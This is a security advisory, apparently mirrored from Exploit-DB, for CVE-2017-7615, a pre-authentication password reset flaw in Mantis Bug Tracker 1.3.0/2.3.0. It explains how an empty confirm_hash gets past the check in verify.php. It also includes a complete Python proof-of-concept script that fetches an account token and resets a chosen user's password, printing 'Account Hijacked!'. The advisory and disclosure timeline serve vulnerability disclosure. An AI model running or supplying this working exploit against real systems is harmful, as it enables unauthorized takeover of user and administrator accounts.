Mantis Bug Tracker 1.3.0/2.3.0 – Password Reset

  • 作者: hyp3rlinx
    日期: 2017-04-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41890/
  • [+] Credits: John Page a.k.a hyp3rlinx	
    [+] Website: hyp3rlinx.altervista.org
    [+] Source:http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
    [+] ISR: ApparitionSec
     
    
    
    Vendor:
    ================
    www.mantisbt.org
    
    
    
    Product:
    ==================
    Mantis Bug Tracker
    v1.3.0 / 2.3.0
    
    MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.
    
    
    Vulnerability Type:
    ===============================
    Pre-Auth Remote Password Reset
    
    
    
    CVE Reference:
    ==============
    CVE-2017-7615
    
    
    
    Security Issue:
    ================
    Mantis account verification page 'verify.php' allows resetting ANY user's password.
    Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.
    
    Vulnerable code:
    
    In verify.php line 66:
    
    if( $f_confirm_hash != $t_token_confirm_hash ) {
    	
    trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
    
    }
    
    This code attempts to verify a user account and compares hashes for a user request.
    However, by supplying empty value we easily bypass the security check.
    
    e.g.
    
    http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=
    
    This will then allow you to change passwords and hijack ANY mantisbt accounts.
    
    All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.
    
    
    References:
    ============
    https://mantisbt.org/bugs/view.php?id=22690#c56509
    
    
    
    POC Video URL:
    ==============
    https://vimeo.com/213144905
    
    
    
    Exploit/POC:
    =============
    import cookielib,urllib,urllib2,time
    
    print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
    print '1.2.x versions are not affected'
    print 'Remote Password Reset 0day Exploit'
    print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'
    
    IP=raw_input("[Mantis Victim IP]>")
    realname=raw_input("[Username]")
    verify_user_id=raw_input("[User ID]")
    passwd=raw_input("[New Password]")
    
    TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='
    
    values={}
    account_update_token=''
    #verify_user_id='1'#Admin= 1
    #realname='administrator'#Must be known or guessed.
    
    
    #REQUEST 1, get Mantis account_update_token 
    cookies = cookielib.CookieJar()
    
    opener = urllib2.build_opener(
    urllib2.HTTPRedirectHandler(),
    urllib2.HTTPHandler(debuglevel=0),
    urllib2.HTTPSHandler(debuglevel=0),
    urllib2.HTTPCookieProcessor(cookies))
    
    res = opener.open(TARGET)
    
    arr=res.readlines()
    for s in arr:
    if 'account_update_token' in s:
    break
    
    
    #print s[61:-38]
    ACCT_TOKEN=s[61:-38]
    
    time.sleep(0.3)
    
    #REQUEST 2 Hijack the Admin Account
    TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
    values = {'verify_user_id' : '1',
    'account_update_token' : ACCT_TOKEN,
    'realname' : realname,
    'password' : passwd,
    'password_confirm' : passwd}
    
    data = urllib.urlencode(values)
    
    opener = urllib2.build_opener(
    urllib2.HTTPRedirectHandler(),
    urllib2.HTTPHandler(debuglevel=0),
    urllib2.HTTPSHandler(debuglevel=0),
    urllib2.HTTPCookieProcessor(cookies))
    
    response = opener.open(TARGET, data)
    the_page = response.read()
    http_headers = response.info()
    
    #print http_headers
    print response.getcode()
    print 'Account Hijacked!'
    time.sleep(2)
    
    
    
    
    Network Access:
    ===============
    Remote
    
    
    
    
    Severity:
    =========
    Critical
    
    
    
    Disclosure Timeline:
    =============================
    Vendor Notification: April 7, 2017
    Vendor acknowledged: April 7, 2017
    Vendor patch created: April 10, 2017
    Vendor Disclosure: April 16, 2017
    April 16, 2017: Public Disclosure
    
    
    
    [+] Disclaimer
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    Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
    that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
    is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
    for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
    or exploits by the author or elsewhere. All content (c).